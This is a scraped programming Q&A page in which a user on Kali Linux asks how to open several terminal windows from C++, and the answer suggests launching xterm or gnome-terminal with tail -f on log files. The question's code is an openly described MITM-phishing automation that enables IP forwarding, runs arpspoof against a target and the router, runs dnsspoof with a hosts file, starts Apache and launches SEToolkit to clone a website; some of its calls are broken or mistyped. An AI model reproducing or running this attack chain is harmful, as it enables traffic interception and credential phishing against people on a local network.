Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
160 views
in Technique[技术] by (71.8m points)

linux - How do I open multiple separate terminal windows in C++?

My problem is that my code requires multiple separate windows to be running at the same time. I also have to be able to execute commands while these windows are running. The two continuously running windows are listening to LAN traffic if that has any relevance. Anyway, I am running on Kali so I can't use the ConsoleLoggerHelper files because the .h file has dependencies on windows.h, which doesn't work on Linux. Is there another way to create and run on multiple separate windows? This application is an automation of a MITM attack using Apache2, DNSspoof, ARPspoof, and SEToolkit. This Is my code so far:

#include <iostream>
#include <stdio.h>


using namespace std;


int main()

{

string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;

//Remember to put in the option the change to interface type, i.e: wlan0

string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";

cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;

    if (yorn == 'y')

    {

        cout << "What is the local IP address of your target?: ";
        cin >> t_ip;
        cout << "What is your local IP address?: ";
        cin >> u_ip;
        cout << "What is the EXACT URL of the website you wish to clone?: ";
        cin >> site;
        cout << "what do you wish the name your spoofed website to be?: ";
        cin >> s_site;

        system(enable_echo.c_str());

        //New window

        arp_t = arp_s + " " + t_ip + " " + router_ip;
        system(arp_t.c_str());

        //New window

        arp_r = arp_s + " " + router_ip + " " + t_ip;
        system(arp_r.c_str());

        //New window

        system(enable_apache.c_str());

        //New window

        system(set.c_str());
        system("1");
        system("2");
        system("3");
        system("2");
        system(u_ip.c_str());
        system(site.c_str());

        //New window

        system(s_dns.c_str());

        return 0;

    }

    else

    {

        cout << "Aborting program..." << endl;

        return 0;

    }

}

See Question&Answers more detail:os

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

You are trying to solve a classic and small problem with a very hard approach. You have several ways to solve it:

  1. Instead of a console app, use a GUI, and create several windows. All major libraries like Qt and GTK support this.
  2. Write to several file handles and launch several xterm (or gnome-terminal, or any other one that is present on your system) instances and cat, tail or less those outputs on these terminals.
  3. Have multiple gateways, like listening on TCP ports, and have multiple text mode clients that connect to these gateways. You could also telnet to TCP servers which are very easy to implement. CORBA and Shared Memory are also very good, in fact all IPC mechanisms, are to be used in similar cases too, but most of the IPC mechanisms seem to be too much for what you want to do (you just want to show some logs).

The second one is more or less the most efficient and easily implemented. For more information you need to tell us more about what you are doing and what is your toolchain. But in all of these solutions (except the first one), there are multiple processes. If I have understood your question correctly, you are aiming for a single process solution, which I think is a very hard way of solving your problem.


Ok you are using cpp, I would suggest opening several fstreams for your different outputs, like this maybe

FILE* f = fopen("/path/to/one/file", "w+");
std::fstream myStream(f);
myStream << "Hello World
";

Then launch several processes of xterm with the shell command that outputs those files, like:

tail -f /path/to/one/file

which would make it like:

system("gnome-terminal -x sh -c 'tail -f /path/to/one/file'");

or

system("xterm -e 'sh -c "tail -f /path/to/one/file"'");

or maybe even

system("xterm -e 'tail -f /path/to/one/file'");

do this for each output once and you are done. Just continue writing to those fstreams and they will each be shown in one of the consoles.


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...